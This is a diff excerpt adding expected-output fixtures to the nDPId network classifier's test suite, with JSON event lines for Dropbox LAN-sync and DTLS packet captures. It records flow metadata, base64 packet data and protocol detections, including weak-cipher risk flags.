+00629{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":840,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391495,"pkt_ts_usec":539946,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"\/\/\/\/\/\/\/\/rNG4wD8JCABFAADEPR9AAEAReLTAqAEGwKgB\/0RcRFwAsEMFeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiZGlzcGxheW5hbWUiOiAiIiwgImhvc3RfaW50IjogMTQyNjI0OTI5OTAwNTgxMDUzNDA3MzQwMDE2NzI1NzY2ODExMzI2LCAibmFtZXNwYWNlcyI6IFszMTE2NDIwNDE2LCAzMjA5MzgyOTQ0LCAxMjM1ODYyNywgMTEzODA0NDM2N119"} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":840,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1535391495539,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":841,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1535391495539,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":841,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1535391495539,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00482{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":841,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1535391525545,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00633{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":841,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391525,"pkt_ts_usec":545240,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"\/\/\/\/\/\/\/\/rNG4wD8JCABFAADEd25AAEARAQ3AqAEG\/\/\/\/\/0RcRFwAsAWteyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiZGlzcGxheW5hbWUiOiAiIiwgImhvc3RfaW50IjogMTQyNjI0OTI5OTAwNTgxMDUzNDA3MzQwMDE2NzI1NzY2ODExMzI2LCAibmFtZXNwYWNlcyI6IFszMTE2NDIwNDE2LCAzMjA5MzgyOTQ0LCAxMjM1ODYyNywgMTEzODA0NDM2N119"} +00515{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":841,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1535391525545,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00480{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":842,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1535391525545,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00629{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":842,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391525,"pkt_ts_usec":545589,"pkt_caplen":210,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":210,"pkt_l4_len":176,"pkt":"\/\/\/\/\/\/\/\/rNG4wD8JCABFAADETEZAAEARaY3AqAEGwKgB\/0RcRFwAsEMFeyJ2ZXJzaW9uIjogWzIsIDBdLCAicG9ydCI6IDE3NTAwLCAiZGlzcGxheW5hbWUiOiAiIiwgImhvc3RfaW50IjogMTQyNjI0OTI5OTAwNTgxMDUzNDA3MzQwMDE2NzI1NzY2ODExMzI2LCAibmFtZXNwYWNlcyI6IFszMTE2NDIwNDE2LCAzMjA5MzgyOTQ0LCAxMjM1ODYyNywgMTEzODA0NDM2N119"} +00513{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":842,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1535391525545,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00483{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":843,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1535391525545,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00481{"flow_event_id":3,"flow_event_name":"idle","thread_id":0,"packet_id":843,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1535391525545,"flow_last_seen":0,"flow_tot_l4_data_len":176,"flow_min_l4_data_len":176,"flow_max_l4_data_len":176,"flow_avg_l4_data_len":176,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":843,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1535391651168,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.64","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00630{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":843,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391651,"pkt_ts_usec":168986,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAAC\/jlBAAEAR6fXAqAFA\/\/\/\/\/0RcRFwAq9+deyJuYW1lc3BhY2VzIjogWzE5MDc2MDQwLCAyMDYwMzE0MCwgMTY3MTU2ODYsIDEyMzUzNTAzMF0sICJwb3J0IjogMTc1MDAsICJob3N0X2ludCI6IDMzMzEzOTY5NzEzOTU2MTA4MDE1Mzk5Mjk4MTIxOTY3OTIyMTUzNiwgImRpc3BsYXluYW1lIjogIiIsICJ2ZXJzaW9uIjogWzIsIDBdfQ=="} +00516{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":843,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1535391651168,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.64","dst_ip":"255.255.255.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00481{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":844,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1535391651170,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.64","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00626{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":844,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391651,"pkt_ts_usec":170134,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAAC\/SNZAAEARbMjAqAFAwKgB\/0RcRFwAqxz2eyJuYW1lc3BhY2VzIjogWzE5MDc2MDQwLCAyMDYwMzE0MCwgMTY3MTU2ODYsIDEyMzUzNTAzMF0sICJwb3J0IjogMTc1MDAsICJob3N0X2ludCI6IDMzMzEzOTY5NzEzOTU2MTA4MDE1Mzk5Mjk4MTIxOTY3OTIyMTUzNiwgImRpc3BsYXluYW1lIjogIiIsICJ2ZXJzaW9uIjogWzIsIDBdfQ=="} +00514{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":844,"source":"dropbox.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1535391651170,"flow_last_seen":0,"flow_tot_l4_data_len":171,"flow_min_l4_data_len":171,"flow_max_l4_data_len":171,"flow_avg_l4_data_len":171,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.64","dst_ip":"192.168.1.255","src_port":17500,"dst_port":17500,"l4_proto":"udp","ndpi": {"proto":"Dropbox","breed":"Acceptable","category":"Cloud"}} +00630{"flow_id":18,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":845,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391652,"pkt_ts_usec":506990,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAAC\/jm9AAEAR6dbAqAFA\/\/\/\/\/0RcRFwAq9+deyJuYW1lc3BhY2VzIjogWzE5MDc2MDQwLCAyMDYwMzE0MCwgMTY3MTU2ODYsIDEyMzUzNTAzMF0sICJwb3J0IjogMTc1MDAsICJob3N0X2ludCI6IDMzMzEzOTY5NzEzOTU2MTA4MDE1Mzk5Mjk4MTIxOTY3OTIyMTUzNiwgImRpc3BsYXluYW1lIjogIiIsICJ2ZXJzaW9uIjogWzIsIDBdfQ=="} +00627{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":846,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391652,"pkt_ts_usec":507202,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAAC\/SaBAAEARa\/7AqAFAwKgB\/0RcRFwAqxz2eyJuYW1lc3BhY2VzIjogWzE5MDc2MDQwLCAyMDYwMzE0MCwgMTY3MTU2ODYsIDEyMzUzNTAzMF0sICJwb3J0IjogMTc1MDAsICJob3N0X2ludCI6IDMzMzEzOTY5NzEzOTU2MTA4MDE1Mzk5Mjk4MTIxOTY3OTIyMTUzNiwgImRpc3BsYXluYW1lIjogIiIsICJ2ZXJzaW9uIjogWzIsIDBdfQ=="} +00630{"flow_id":18,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":847,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391682,"pkt_ts_usec":513859,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAAC\/nwpAAEAR2TvAqAFA\/\/\/\/\/0RcRFwAq9+deyJuYW1lc3BhY2VzIjogWzE5MDc2MDQwLCAyMDYwMzE0MCwgMTY3MTU2ODYsIDEyMzUzNTAzMF0sICJwb3J0IjogMTc1MDAsICJob3N0X2ludCI6IDMzMzEzOTY5NzEzOTU2MTA4MDE1Mzk5Mjk4MTIxOTY3OTIyMTUzNiwgImRpc3BsYXluYW1lIjogIiIsICJ2ZXJzaW9uIjogWzIsIDBdfQ=="} +00626{"flow_id":19,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":848,"source":"dropbox.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1535391682,"pkt_ts_usec":514087,"pkt_caplen":205,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":205,"pkt_l4_len":171,"pkt":"\/\/\/\/\/\/\/\/eJKcD6iOCABFAAC\/ZDZAAEARUWjAqAFAwKgB\/0RcRFwAqxz2eyJuYW1lc3BhY2VzIjogWzE5MDc2MDQwLCAyMDYwMzE0MCwgMTY3MTU2ODYsIDEyMzUzNTAzMF0sICJwb3J0IjogMTc1MDAsICJob3N0X2ludCI6IDMzMzEzOTY5NzEzOTU2MTA4MDE1Mzk5Mjk4MTIxOTY3OTIyMTUzNiwgImRpc3BsYXluYW1lIjogIiIsICJ2ZXJzaW9uIjogWzIsIDBdfQ=="} diff --git a/test/results/dtls.pcap.out b/test/results/dtls.pcap.out new file mode 100644 index 000000000..695a5b09c --- /dev/null +++ b/test/results/dtls.pcap.out @@ -0,0 +1,4 @@ +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dtls.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1545143424891,"flow_last_seen":0,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":163,"flow_max_l4_data_len":163,"flow_avg_l4_data_len":163,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.13.203","dst_ip":"192.168.13.57","src_port":40739,"dst_port":56515,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00599{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dtls.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1545143424,"pkt_ts_usec":891780,"pkt_caplen":197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":197,"pkt_l4_len":163,"pkt":"WLEPD4fwhLVBbZhoCABFAAC3FtBAAEARhxHAqA3LwKgNOZ8j3MMAozuLFv7\/AAAAAAAAAAAAjgEAAIIAAAAAAAAAgv79zrBtKgTLKhUXwuJm7W22k25ueldyqs3Q4tvQaM4mc34AAAAYwCvAL8ypzKjACcATwArAFACcAC8ANQAKAQAAQP8BAAEAABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEADgAFAAIAAQAACwACAQAACgAIAAYAHQAXABg="} +00760{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dtls.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1545143424891,"flow_last_seen":0,"flow_tot_l4_data_len":163,"flow_min_l4_data_len":163,"flow_max_l4_data_len":163,"flow_avg_l4_data_len":163,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.13.203","dst_ip":"192.168.13.57","src_port":40739,"dst_port":56515,"l4_proto":"udp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"DTLS","breed":"Safe","category":"Web"},"tls": {"version":"DTLSv1.2","client_requested_server_name":"","ja3":"bd743610892cec1efed851b2b5efd4f5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00599{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dtls.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1545143424,"pkt_ts_usec":891780,"pkt_caplen":197,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":197,"pkt_l4_len":163,"pkt":"WLEPD4fwhLVBbZhoCABFAAC3FtBAAEARhxHAqA3LwKgNOZ8j3MMAozuLFv7\/AAAAAAAAAAAAjgEAAIIAAAAAAAAAgv79zrBtKgTLKhUXwuJm7W22k25ueldyqs3Q4tvQaM4mc34AAAAYwCvAL8ypzKjACcATwArAFACcAC8ANQAKAQAAQP8BAAEAABcAAAAjAAAADQAUABIEAwgEBAEFAwgFBQEIBgYBAgEADgAFAAIAAQAACwACAQAACgAIAAYAHQAXABg="} diff --git a/test/results/dtls2.pcap.out b/test/results/dtls2.pcap.out new file mode 100644 index 000000000..676cde87b --- /dev/null +++ b/test/results/dtls2.pcap.out @@ -0,0 +1,18 @@ +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1,"source":"dtls2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1507911659748,"flow_last_seen":0,"flow_tot_l4_data_len":89,"flow_min_l4_data_len":89,"flow_max_l4_data_len":89,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"61.68.110.153","dst_ip":"212.32.214.39","src_port":53045,"dst_port":61457,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00501{"flow_id":1,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911659,"pkt_ts_usec":748597,"pkt_caplen":123,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":123,"pkt_l4_len":89,"pkt":"AAAAjZtQSEb7zh73CABFAABta10AAD8Ruf09RG6Z1CDWJ8818BEAWUhKFv7\/AAAAAAAAAAAARAEAADgAAAAAAAAAOP7\/xZOd2weR7n4d5xLXjiJT803Vm2GyIJyqcktro0p9KtUAAAAQADUALwAFAAQACgD7APwA\/QEA"} +00756{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":1,"source":"dtls2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":1,"flow_first_seen":1507911659748,"flow_last_seen":0,"flow_tot_l4_data_len":89,"flow_min_l4_data_len":89,"flow_max_l4_data_len":89,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"61.68.110.153","dst_ip":"212.32.214.39","src_port":53045,"dst_port":61457,"l4_proto":"udp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"DTLS","breed":"Safe","category":"Web"},"tls": {"version":"DTLSv1.0","client_requested_server_name":"","ja3":"1b45c913a0c0fde5f263502e65999485","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00474{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911659,"pkt_ts_usec":964622,"pkt_caplen":102,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":102,"pkt_l4_len":68,"pkt":"AAAAjZtQSEb7zh73CABFAABYGTZAAHIRmTnUINYnPURumfARzzUARCmdFv7\/AAAAAAAAAAAALwMAACMAAAAAAAAAI\/7\/IGQQTc4aUtGjb8ohVEQdgum4T0i11AHiQi9xw2nai\/UG"} +00547{"flow_id":1,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":3,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911659,"pkt_ts_usec":975796,"pkt_caplen":155,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":155,"pkt_l4_len":121,"pkt":"AAAAjZtQSEb7zh73CABFAACN5wIAAD8RPjg9RG6Z1CDWJ8818BEAeRSaFv7\/AAAAAAAAAAEAZAEAAFgAAQAAAAAAWP7\/xZOd2weR7n4d5xLXjiJT803Vm2GyIJyqcktro0p9KtUAIGQQTc4aUtGjb8ohVEQdgum4T0i11AHiQi9xw2nai\/UGABAANQAvAAUABAAKAPsA\/AD9AQA="} +01511{"flow_id":1,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":4,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911660,"pkt_ts_usec":332250,"pkt_caplen":867,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":867,"pkt_l4_len":833,"pkt":"AAAAjZtQSEb7zh73CABFAANVIjBAAHIRjULUINYnPURumfARzzUDQdzuFv7\/AAAAAAAAAAEAMgIAACYAAQAAAAAAJv7\/QPrINelLG7enELoywMmLfG2olv7VWJxKvMqptASfoUAAADUAFv7\/AAAAAAAAAAIC1AsAAsgAAgAAAAACyAACxQACwjCCAr4wggGmAgkA3\/IIOdDHPtUwDQYJKoZIhvcNAQEFBQAwDTELMAkGA1UEBhMCVVMwHhcNMTQwOTEyMjEzMTE5WhcNMzcwMjE1MjEzMTE5WjA1MQswCQYDVQQGEwJVUzEmMCQGA1UEAwwdKi5yZWxheS5yb3Mucm9ja3N0YXJnYW1lcy5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDUbKLr0+0\/DzZUkhdQPAIUSf6vOnkd3vz7LMzwfaRy4xYymZYxZ\/q5Ed6EaW6JqCZ\/oLLe25NsTXHmZDJ9bcDe9YOclIL+6LY6GeN4pfa6Hz+jx2zbKLHveils\/9ARmlq7hem2J4bSrsrAmxBAUMu5I64ihzl5jm9DYyKyUFW51pWgePj0eF8P9dMIaB69GlwcMK1R94D2eXFYtOo55DIY4k+tZnErrkNmE6s9MT8hstIKuhDP9Q4XPojoGCcUNCKm6tzoPU2WN3aKCtbekibukMkhDb6jPcXz5o9twDMuJ3vVS\/f9U54Gdx5927EWXG44Ptt7M7QKZ1DQXEVYwHoBAgMBAAEwDQYJKoZIhvcNAQEFBQADggEBAGsDUuhvkBDEsohQGctVpkQYC+VB2RYrWcOG\/BuAnJAchnyGe0vUHkNpCOa1W7QJTxyQmEZgVIJXyBvl2SlD8vRwY8YZYq5ScMlHbwx6IOdYiakctDm6\/hphAz0AMeZ9ER6pMQ1b0SbrLR4SfATQmDBiycNsSO9IQH\/tWD+h7XnpYN3d6I\/deTbmPTX+BS4Ni+JKX\/\/0TDJl1LB3dzdPXVthq9rivdIMTX6GB4FfVrCPzwTueYvVVKiMK1NeQNIsIbiOhX5\/j2p5slNKg8\/0rIFgR1N+GWp975Q9KJiE\/k45+fuMu2uWIiauD7DpNeE9cFNSPZZkeJxPz8ZTFCj+\/Y4W\/v8AAAAAAAAAAwAMDgAAAAADAAAAAAAA"} +00985{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":4,"source":"dtls2.pcap","alias":"nDPId-test","flow_id":1,"flow_packet_id":4,"flow_first_seen":1507911659748,"flow_last_seen":1507911660332,"flow_tot_l4_data_len":1111,"flow_min_l4_data_len":68,"flow_max_l4_data_len":833,"flow_avg_l4_data_len":277,"midstream":0,"l3_proto":"ip4","src_ip":"61.68.110.153","dst_ip":"212.32.214.39","src_port":53045,"dst_port":61457,"l4_proto":"udp","ndpi": {"flow_risk": {"8":"Weak TLS cipher","15":"TLS (probably) not carrying HTTPS","24":"SNI TLS extension was missing"},"proto":"DTLS","breed":"Safe","category":"Web"},"tls": {"version":"DTLSv1.0","client_requested_server_name":"","ja3":"1b45c913a0c0fde5f263502e65999485","ja3s":"749bd1edea60396ffaa65213b7971718","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_256_CBC_SHA","issuerDN":"C=US","issuerDN":"C=US, CN=*.relay.ros.rockstargames.com","fingerprint":"AB:59:0E:11:EC:94:4D:D5:D3:40:7E:6E:3B:8B:6A:19:CA:B7:85:2C"}} +00782{"flow_id":1,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":5,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911660,"pkt_ts_usec":353093,"pkt_caplen":325,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":325,"pkt_l4_len":291,"pkt":"AAAAjZtQSEb7zh73CABFAAE3XSMAAD8Rx209RG6Z1CDWJ8818BEBI325Fv7\/AAAAAAAAAAIBDhAAAQIAAgAAAAABAgEAoPXajyskrpyHTkXbJ8FmL57PBfY\/1TaYT0bzW3Kr\/EpwtXdjHcT+pbN8fPukJ\/mC77+vYOpZWDwhv6Nx\/DWp4Jvn+yqgQnC64Z\/WXIsAN1uH\/RV8WJNBQO\/19cBEfleSZaqoNGsu62Istna8HtfGBMBOW62\/qT4k\/3jE7EIn98BOINebIKb+ueGO2MzhHcT6EOkstFNcsc5W14JWO6dIoA0xAoGASDLKiRftqqbK+uNDPzk7xqyION59r88L7bnvJSephUmgMk9aDR6JDm0Euq5IRA2K\/nrTo7X4CfxJ3dHmr2zBkzimXJBaPSUeHK+7lDt96ihQtzG744bK2Rmtmg=="} +00516{"flow_id":1,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":6,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911660,"pkt_ts_usec":355159,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AAAAjZtQSEb7zh73CABFAAB3Y5MAAD8Rwb09RG6Z1CDWJ8818BEAY5VMFP7\/AAAAAAAAAAMAAQEW\/v8AAQAAAAAAAABAmdae2R4Wrb+V6WhwK9Dq82JRkPRlJ1zLvMeBmyoW80TVchkoOoZ+xT5QgxIMaEuKJqU6++RTeS7q5JEifcpBVA=="} +00518{"flow_id":1,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":7,"source":"dtls2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1507911660,"pkt_ts_usec":573420,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"AAAAjZtQSEb7zh73CABFAAB3JpZAAHIRi7rUINYnPURumfARzzUAY7OjFP7\/AAAAAAAAAAQAAQEW\/v8AAQAAAAAAAABAmirY+WsSvTJjrUcGUksCxxC8bx15KwpJKDfXIxtf9hmYnH4fzWhB+IyZOZGqLOiHa\/\/TRA60JKjrE2I17tux7A=="} 